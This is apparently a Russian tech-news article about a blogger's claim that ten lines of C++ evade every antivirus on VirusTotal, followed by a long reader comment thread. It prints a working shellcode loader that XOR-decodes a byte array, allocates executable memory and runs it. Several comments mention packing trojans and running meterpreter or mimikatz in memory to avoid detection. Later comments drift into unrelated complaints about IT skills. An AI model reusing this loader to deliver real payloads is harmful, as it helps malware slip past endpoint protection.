Специалист по информационной безопасности под ником evasiv3 опубликовал на прошлой неделе запись в своем блоге, в которой рассказывается о том, как можно обойти любой антивирус при помощи десяти строк кода.

Изначально Evasiv3 планировал написать огромный пост о способах обхода антивирусной защиты, однако, протестировав первый шаг своего «руководства» он был очень удивлен: ни один из 56 протестированных продуктов, призванных обеспечить безопасность пользователя в сети, не обнаружил его бинарник.

image
После получения подобного результата я решил отказаться от своей идеи долгого и изматывающего обхода антивирусной защиты и действовать быстро, «грязно», но при этом невероятно просто.


В своей работе evasiv3 использовал Veil-Evasion, часть Veil-Framework'a. Автор отмечает его как «превосходный инструмент, который почти никогда его не подводил».

Код, представленный ниже, написан на С++ и ориентирован на атаку, в первую очередь, windows-платформы:

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
 char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
 char c[sizeof b];
 for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
 void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, c, sizeof c);
 ((void(*)())exec)();
}

Приведенный выше код создает массив символов с шелл-кодом, выполняет операцию XOR с невероятно сложным ключом «х» в нижнем регистре, выделяет немного памяти, копирует массив в нее и после выполняет.

Если вы сейчас подумали «да ладно!», то у вас та же реакция, что и у Evasiv'a. Масла в огонь подливает тот факт, что бинарник был обнаружен 0 антивирусов из 56 после проверки через VirusTotal. Продемонстрированный выше АВ-обход показывает, что простейший и основной метод проникновения до сих пор является рабочим.

Конечно, большинство антивирусов сосредоточены на пресечении эксплуатации уязвимостей, а не на их выявление, так что «хоронить» их пока рано.

На скриншоте в начале статьи указана дата за 2015 год, однако, автор кода перепроверил бинарник VirusTotal перед публикацией в своем блоге. Результат тот же: 0 из 56.

Комментарии (42)


  1. sidristij
    21.03.2016 15:28
    +6

    все гениальное — просто. теперь, когда антивирусники научатся детектить вредонос внутри массивов, над которыми идет xor, то будет достаточно сделать, например, ROT13 по 255 чтобы получить заветные 0 из 56


  1. vilgeforce
    21.03.2016 15:58
    +51

    Кто-то "опять" узнал страшную тайну о том, что антивирусы в общем-то работают по сигнатурам, то есть ищут хитрыми алгоритмами что-то, что встречалось в "плохих" файлах. Тащемта, сотни и тысячи пакеров в дикой природе прошли мимо авторов, видать.


    1. Halt
      22.03.2016 09:04
      +3

      А как же сложные эвристики, выполнение кода в песочнице и прочая проактивная защита, которую так любят писать в рекламе антивирусов?


      1. vilgeforce
        22.03.2016 09:51

        Оно, может, и есть, но никто ж не обещает 100% обнаружения.


      1. Pakos
        22.03.2016 11:46
        +3

        Сколь помню информацию — на вирустотале оно не включено и там только сигнатурная проверка.


  1. DimitarSerg
    21.03.2016 16:05
    +11

    О Господи. А чего вы ожидали? Где собственно вредоносный код ?


    1. tempico
      21.03.2016 16:23
      +3

      Смысл копипастить вредонос? Это же может быть любой шеллкод, сгенерированный метасплоитом.
      Посмотри внимательнее:

      char b[] = {_вставляем_пэйлоадсюда};


      1. HOMPAIN
        21.03.2016 17:23
        +12

        Тогда можно и в три строчки сделать

        int main(int argc, char **argv) {
        //добавьте ваш вредоносный код сюда
        }
        Тоже ни один антивирус не спали)


    1. AdVv
      21.03.2016 16:23
      +1

      Возьми (свой) вредноносный код, обработай, при помощи озвученной выше техники.
      Тебе дают ну рыбу, а удочку.


      1. imwode
        22.03.2016 00:59
        +2

        Вы проверили с вредоносным кодом эту технику?


  1. Wowa69
    21.03.2016 16:18
    +14

    Очень тянет на первое апреля, но не дотянуло 11 дней.


  1. The_Floyd
    21.03.2016 16:18
    +10

    Для подобного рода детектов есть риалтайм. Не понимаю что здесь нового и интересного, любой пакер PE файлов так работает.


  1. ensane
    21.03.2016 16:24
    +6

    Если антивирус начнет подбирать коды, пытаясь расшифровать любой обнаруженный бинарник, боюсь, вирусы действительно перестанут работать. Как и все остальное, кроме антивируса. Вопрос в другом: как среагирует антивирус на вредоносное поведение программы. Современные эвристические модули любят попомещать неопознанные исполнимые файлы в «черный ящик» и проанализировать поведение, прежде чем начать доверять.


    1. DimitarSerg
      21.03.2016 16:38

      Какие коды подбирать? Нормальный антивирь может задетектить в памяти код, чем бы ты его не зашифровал, не говоря о такой банальщине. И конечно же плюсую за коммент с "риалтайм" ака поведенческий анализ.


      1. Izzet
        22.03.2016 08:20
        +1

        По факту не так. Тот же meterpreter или mimikatz, запущенный через powershell, антивирусы не детектят. Хотя исполняемый код, самом собой, находится в памяти.
        Основная проблема — антивирусы не могут себе позволить постоянно мониторить память.


    1. akirsanov
      21.03.2016 17:05

      хук на virtualalloc и memcpy.


      1. iandarken
        22.03.2016 11:35

        Угу, попробуйте при работающем антивирусе это сделать.


        1. akirsanov
          22.03.2016 12:18

           Я про "Если антивирус начнет подбирать коды, пытаясь расшифровать любой обнаруженный бинарник" в контексте антивирусного подхода говорю, о чем вы?


  1. ertaquo
    21.03.2016 17:03
    +23

    Браво! Действительно неожиданное открытие! Особенно через 16 лет после появления первого полиморфного вируса.


    1. ProstoTyoma
      21.03.2016 18:05
      +2

      «written in 1989»
      27 лет, всё-таки.


      1. Chulup
        22.03.2016 10:23
        +5

        Так ertaquo понял, что он на десять лет старше, чем помнил.


  1. michael_vostrikov
    21.03.2016 18:00
    +5

    Программа выделила сама себе память, что-то туда записала и выполнила. В чужой процесс не лезет, функция VirtualAlloc() импортирована явно, без использования GetProcAddress(). Что тут подозрительного? Мне кажется, здесь только поведение самого кода можно проверять.

    PS: Знакомый рассказывал, что если сделать простой шифровальщик с XOR и не убирать статическую линковку с CRT, то антивирусы почти не реагируют, иногда может 1-2 предупреждения о подозрительности выдают. Если убрать или еще как-то уменьшать размер, сразу появляется куча срабатываний.


  1. u007
    21.03.2016 18:55

    Eicar таким образом ещё на первом курсе прятал)


  1. iga2iga
    21.03.2016 20:21

    Когда лет 6 назад баловался с ProRat, паковал его VMProtect и менял точку входа на свою. Для расчета перехода использовал банально FPU. Это несколько команд на ассемблере. Тогда ни один антивирь на вирустотал, не мог обнаружить ProRat, тоесть эвристика падала на командах с FPU. А вот если не изменять начало, то даже под VMProtect определялся сей троянец. Интересно, как сейчас в этом плане у антивирей?! Ну и не забываем, что вирустотал тесно сотрудничает с разработчиками антивирей. И если сегодня ваш код вызовет подозрения, то завтра с новыми базами он уже будет определен как вирус, если он, конечно, вирус…


  1. ladnua
    21.03.2016 20:26

    Лично не проверял, но по-моему, еще Windows Vista пиарили тем, что в ней введена защита от выполнения памяти.


    1. akirsanov
      21.03.2016 20:54
      +1

      Вы про DEP? Тут память выделяется с PAGE_EXECUTE_READWRITE, вполне легитимно, DEP немного про другое.


  1. Nexen2
    21.03.2016 20:35
    +11

    Не думали не гадал что так скоро — по сути со сменой одного, всего одного поколения Карл!, базовые знания по IT уйдут в область шаманства и после обсуждений высоких материй в области например виртуалок народ начнет нести пургу про вирусы.

    Сегодня у нас на работе разраб начал в игровом чате нести пургу про работу своп и зачем он нужен. Вернулись с обеда более старые геймеры разрабы, попустили конечно малость, но что это, последний ли раз и на последнюю тему? И это человек 86 года рождения, что про моложе говорить.


    1. ragequit
      21.03.2016 20:49
      +7

      Знаете, не в приложении к этому посту, который и вышел капитанским, а вообще: а где молодняку брать инфу, спрашивая о которой, тебя крестят "нубьем" и "ньюфагом", когда ты с ней не сталкивался, а корни всего этого находятся так глубоко, что не зная куда копать и не докопаешься? Ну вот серьезно. Сейчас технологии меняются чуть ли не раз в квартал и знать все людям, которые в IT, например, 3 года, вместо 30-ти лет — просто нереально, а учитывая зашкаливающий уровень снобизма в IT-кругах выудить хоть что-то из "старших" временами просто нереально.


      1. Nexen2
        21.03.2016 21:12
        +5

        Одна из особенностей ИТ — все сохранилось в инете от прошедших лет. Проблема не то что бы найти, проблема выбрать, что б почитать из найденного. Информации даже чересчур много.

        Не встречал "старших", которые скрывают что-то, наоборот, чаще стоит что-то написать не так, или сказать не так — видишь, берет наш "старшой" детскую биту и идет махать в какой-то другой конец офиса перед чьим-то носом, объяснять очередному молодняку политику партии. Если кто-то чего-то не рассказал — мое мнение это либо так спрашивали, либо вообще забыли спросить. И вот с последним как раз часто сталкивался — молодняк порой попадается наглый, изучив новомодные технологии, считает себя опытнее и умнее старых слонов, считая что ничего из 10-20 и тем более 30 летних наработок ему никогда не пригодится.

        Когда начинаешь рассказывать молодняку POP3 и про заголовки писем (кстати земля пухом изобретателю почты, недавно представился), видишь, как у них начинают почему-то вскипать мозги. Про SQL и правила создания индексов вообще молчу. Новеньким девочкам-верстальщицам не можешь объяснить, зачем нужен CSS media-тип, а к скорости сетей привыкли так, что не можешь заставить убрать фон-фотку 4Мб на что-то более оптимизированное. Я иногда пугаю их рассказами про CSS 1-2, и IE 5.5+. От страха забиваются в уголок и плачут.

        Недавно подарок преподнес Хром. На сервере утилита перезапускала Nginx по запросу с браузера (админская панель). Хром, почуяв разрыв с сервером, посылал второй запрос, в то время как ФФ выдавал ошибку. Мне это принесли как два бага — баг в ФФ и то что в Хроме неадекватная инфа ("сервер не может быть перегружен, так как запрещено перегружать чаще чем в ####").

        И вот стоят два админа (причем один главный), два прогера, из которых один я, и наш менеджер проекта и я час распинаюсь, показываю логи, распечатки запросов, прочая, чтобы доказать хотя бы для начала что проблема не в ФФ. И что в Хроме на самом деле два запроса. В том числе двум системным администраторам!!! Это в какие времена живем что люди забыли основы сетей? В итоге доказал, младшой админ покурил мануал, заменил restart на reload (или наоборот, не помню), все заработало адекватно.

        Чую себя иногда как в вархаммере 40к, техножрецом. И вспоминаю Айзековскую "Академию". Но там были тыщи лет и несколько сотен соответственно. А тут 30 прошло, первое поколение только-только начало уходить.


        1. Nexen2
          21.03.2016 21:27
          +1

          А как я недавно пытался объяснить что такое за кодировка 16LE. Кстати с кодировками вообще все грустно, все настолько к UTF-8 уже привыкли, что некоторым даже приходится это понятие объяснять. Людям, делающим сайты! Так вот, долго объяснял, что порядок байт может быть разным в пределах двухбайтового слова и почему собственно он может быть разным. Думал умру прямо там у доски.

          После чего пользователям Win не мог объяснить, что не надо CSV экспортировать в Win-1251 только чтобы в их офисах (этот МС офис и его 1251 даже в OFF2007 это вообще отдельная история), особенно учитывая что клиент вообще не русиш ни разу… Аа-а-а-а-а.....


          1. Klukonin
            21.03.2016 22:25

            фис 2007 кстати, весьма похабно работает с CSV, обрезая поля и забивая их нолями. Сам был в шоке когда увидел глазами. Казалось бы, основы основ, формат исходника — проще некуда, но и тут проблемы.
            Как-то грустно это все…


            1. Nexen2
              21.03.2016 23:01
              +2

              Ну как бы даже не в этом дело. На самом деле стандарта на CSV нет, и разные версии офиса ("наши" и "ихние") то запятую, то точку с запятой принимают за разделитель. При том что тот же аутлук, 2007 в том числе, может вести себя противоположно его родственнику экселю.

              Дальше. Несмотря на то что МС к этому времени полностью перешел на юникод, импорт по умолчанию — в Win-1251. И БОМ (КАРЛ! БОМ!!!) не помогает указать на UTF-8.

              Но дальше больше. Я привык что в моем 2003 или опен-офисе при открытии CSV открывается диалог импорта. Читайте выше почему его нужно открывать. А теперь финиш — в 2007 по дефолту нет этого диалога при открытии CSV! В меню Data если кнопка Import, там можно вызвать это окошко и настроить импорт. Итог плачевен — менеджер, посмотрев на это, сказал "считайте что клиент идиот и не поймет, где нужно клацнуть 3 лишних раза". Ну а что он мог сказать?

              Но то такое.

              А, еще из недавних приколов. Я как-то, когда обсуждали рассылки и переформатирование писем, особенно на телефонах, рассказал что в письме можно задать несколько разных текстов. С разными Content-Type. На меня посмотрели как на идиота, а потом честовали как героя.

              Из более давних приколов. Работал года два назад на фирме занимавшихся складской программой. Программа печатала штрихкоды для товаров, паллет и грузовиков. Каждый символ-цифру отдельно. По сути серию последовательно идущих штрих-кодов. Из-за слишком частой гребенки не удавалось им создать штрих-код для грузовика, чтобы его лазерным пистолетом просканировать на "бегу" с расстояния в два метра. Начал спрашивать про странности их штрих-кодов, мол такая частая гребенка необязательна. Зеркалирование каждого символа отдельно — тем более. Сначала отмахивались. Но потом распечатали"толстую" гребенку используя стороннюю библиотеку, на 2 листах А4 горизонтально, наклеили на стену, просканировали с расстояния в 3 метра. И что вы думаете? Хоть бы кто спасибо сказал. ЛОЛ.


              1. Klukonin
                21.03.2016 23:35
                +1

                Это повсеместно так =) Сперва покупают лютый энтарпрайз за конские деньги ни с кем из технарей не посоветовавшись. Потом ты говоришь что это дерьмо и доказываешь, но тебя не слушают. А потом ты вадаешь решение, исправляющее какой-нибудь значимый косяк, но все делают вид что ничего не произошло. А если повезет, через некоторое время могут возникнуть вопросы «а чем он там занимается, давайте отдадим поддержку этой штуки на аутсорс». Эффективный менеджмент, чего уж там…

                По поводу Content-Type. Можете рассказать подробнее? Мне лично и народу нравятся такие истории успеха.


                1. Nexen2
                  22.03.2016 15:00

                  Да что за история успеха. Нормально и хорошо документированная фича, когда два куска текста в письме идут как бы вложениями, с разделителями. У одного задан content-type как html, у другого как текст.

                  Теперь сама история: старые телефоны не могут адекватно отобразить HTML, они понимают это и пытаются его упростить. Не всегда так что финал читаем. Особенно это касается ссылок, от которых остается только то, что было внутри тега ссылки, а сама ссылка при этом теряется. Ну я добавил text часть, настроил её, думаю, если создатели почтовиков не были дураками, они будут проверять наличие этого куска в письме. Нет, не были дураками, ни одного из почтовиков и ни одного из телефонов, от первых айфонов до старых "берри".

                  А вот кто видимо метит на это определение, так это видимо мои сослуживцы. "Как это два письма в одном?". Это при том что любой (или почти любой) почтовый фреймворк имеет что нибудь вроде функций setHtml и setText, и порядочную документацию, их описывающую. Только документацию видимо никто не читает. Пришлось доказать наличие явления, добавив подпись из своих ФИО, продемонстрировать их на телефонах, показать в исходниках письма. "Вау круто, но наши тестеры сандербердом не пользуются, как им проверять правильность рассылки? В Аутлуке такого нет.". Хотели уже отменить всё, но я, справедливо думающий что такое должно быть во всех НОРМАЛЬНЫХ почтовиках, нашел эту функцию в GMail — пункт меню "проблемы с кодировкой" хотя прямо и не говорит что он показывает, но он показывает именно text/plain часть письма. Ту, которую я задал руками.

                  То есть я находился в положении, когда мне приходилось доказывать наличие некоего функционала и технической возможности, работающей уже десятки лет и хорошо документированной. О которой в теории знает любой программер, работающий в области больше N лет. И даже после этого всё хотели отменить только потому что работу функционала невозможно проверить. У тестеров, на их винде, на аутглюке. Я был в бешенстве.


      1. MacIn
        22.03.2016 03:23

        Лучше на англоязычных сайтах. Malware analysis. Читать, читать, читать. Еще wasm.ru и osdev. Тогда не будет таких… детских статей.
        Любой порядочный антивирус посчитает подозрительным выделение памяти с RWE одним махом.


  1. Intercepter
    22.03.2016 11:25

    Удивиться могут только люди ничего не знающие о работе антивирусов и техниках их обхода.


  1. teecat
    22.03.2016 12:44
    +1

    Вирустотал стал каким-то знаменем. Там помоему поперек сайта нужно написать: "люди! Мы проверяем только и исключительно факт о нахождении информации о конкретной модификации вредоносной программы в антивирусной базе. Мы не проверяем возможность нахождения данного образца антивирусом, имеющим данную базу".
    Вон например на http://www.securitylab.ru/blog/company/revisium/282266.php ссылаются на вирустотал в обоснование ненужности использования антивируса. Грусть-печаль
    А ведь нахождение-то вируса возможно при отсутствии информации в базах, а необнаружение — при наличии.